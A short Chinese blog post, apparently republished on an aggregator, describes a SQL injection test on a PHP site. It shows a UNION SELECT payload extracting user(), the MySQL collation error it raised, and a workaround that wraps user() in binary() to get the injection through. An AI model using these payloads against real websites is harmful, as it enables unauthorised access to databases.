您的位置:首页 > 职场人生

知道真相的我 眼泪掉下来,良心程序员!

2015-04-08 17:49 155 查看
今天测试一个php网站,测试注入的时候发现一个问题,注入点可以union select ,order by , 但是 使用 and 1=2 union select 1,user(),3,4,5,6 的时候报错,报错信息如下:

数据库出错: MySQL Query Error

Mysql error description: Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'

Mysql error number: 1267

Date: 2011-03-31 @ 04:22

Query: select cid,productstitle,keywords,addtime,content,hit from hw_products where pid=64 and 1=2 and 1=2 union select 1,user(),3,4,5,6

Script: http://www.xxxx.com

根据报错信息看应该是注入的时候编码不匹配导致的问题,以过网上查找终于搞定,分享之……

原文出自:http://www.blogguy.cn/show-654-1.html 关于mysql错误:Illegal mix of collations for operation '='的理解

文章中提到了两种方法来解决问题,我们安全测试中其实只需要最简单的一种就ok了把注入语句改成:

and 1=2 union select 1,binary(user()),3,4,5,6或者 and 1=2 union select 1,binary(select user()),3,4,5,6
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: